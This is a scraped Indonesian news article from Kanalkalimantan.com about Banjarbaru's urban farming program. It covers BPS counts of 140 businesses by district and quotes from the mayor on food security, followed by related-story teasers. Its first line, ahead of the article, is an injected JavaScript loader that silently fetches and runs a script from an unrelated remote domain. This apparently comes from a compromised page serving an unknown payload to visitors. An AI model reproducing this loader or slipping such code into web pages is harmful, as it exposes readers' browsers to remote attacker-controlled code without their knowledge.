(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Program Urban Farming yang digalakkan Dinas Ketahanan Pangan, Pertanian dan Perikanan (DKP3) Kota Banjarbaru terbilang sukses pada tahun 2023 ini. Pelaku usaha Urbang Farming kini terus bertambah.
Beberapa aktivitas yang tergolong Urban farming seperti usaha budidaya tanaman sayuran di taman kota, atap bangunan, atau dalam ruang tertutup seperti rumah kaca. Kegiatan yang dilakukan pada urban farming selain budidaya tanaman, dapat juga berupa usaha peternakan.
Data Badan Pusat Statistik (BPS) Kota Banjarbaru mencatat pada tahun ini jumlah pelaku usaha urban farming di Kota Banjarbaru telah menyentuh 140 usaha. Terdiri dari 70 RTUP dan 70 unit UTP yang tersebar di seluruh kecamatan.
“Pelaku kegiatan urban farming paling banyak berada di Kecamatan Banjarbaru Utara, yaitu sebanyak 22 RTUP dan 22 UTP,” dalam rilis yang disampaikan Kepala BPS Kota Banjarbaru, Arih Dwi Prasetyo.
Di posisi kedua dengan jumlah pelaku usaha Urban Farming terbanyak berada di Kecamatan Landansan Ulin sebanyak 19 RTUP dan 19 UTP. Kemudian disusul Kecamatan Liang Anggang sebanyak 15 RTUP dan 15 UTP.
Program Urbang Farming menjadi penting dilakukan lantaran lahan pertanian di perkotaan semakin sempit seiring dengan pertambahan penduduk perkotaan. Sedangkan kebutuhan untuk konsumsi hasil pertanian cukup tinggi.
Wilayah perkotaan memiliki ketergantungan hasil pertanian dari daerah lain, sehingga urban farming menjadi salah satu solusi dalam mengurangi ketergantungan tersebut. Sekaligus pula membantu pengendalian inflasi, mengembangkan ekonomi lokal, efisiensi biaya transportasi, meningkatkan partisipasi masyarakat/komunitas, dan meningkatkan kualitas lingkungan perkotaan.
Urbang farming atau program pertanian perkotaan yang dicanangkan Wali Kota Banjarbaru H M Aditya Mufti Ariffin ini diinsiasikan sebaga solusi bagi ketahanan pangan di kota Banjarbaru.
“Langkah pemanfaatan lahan yang terbatas diwujudkan melalui urban farming menjadi solusi ketahanan pangan bagi Banjarbaru ditengah krisis pangan,” terang Wali Kota Aditya.
Dikatakan, banyak manfaat yang bisa dinikmati dalam menerapkan urban farming ditengah keterbatasan lahan tetapi tidak menjadi hambatan membuka lahan dan menjadikannya area pertanian dan perkebunan.
Disisi lain, pertanian dan perkebunan yang tumbuh secara alami, tanpa bahan kimia memberikan kebaikan bagi alam dan manusia sekaligus juga memunculkan kemandirian pangan bagi keluarga.
“Sekarang ini, bukan hanya petani yang harus berfikir, bertindak kreatif dan inovatif tetapi kita semua yang turut berperan dalam memperkuat ketahanan pangan terutama bagi daerah sendiri,” ucapnya.
Kinerja DKP3 Banjarbaru tahun ini telah sukses mengembangkan program urban farming dengan memetakan potensi di wilayah-wilayah yang tersebar. Komitmen yang dicanangkan demi mewujdukan ketahanan pangan di kota Banjarbaru. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.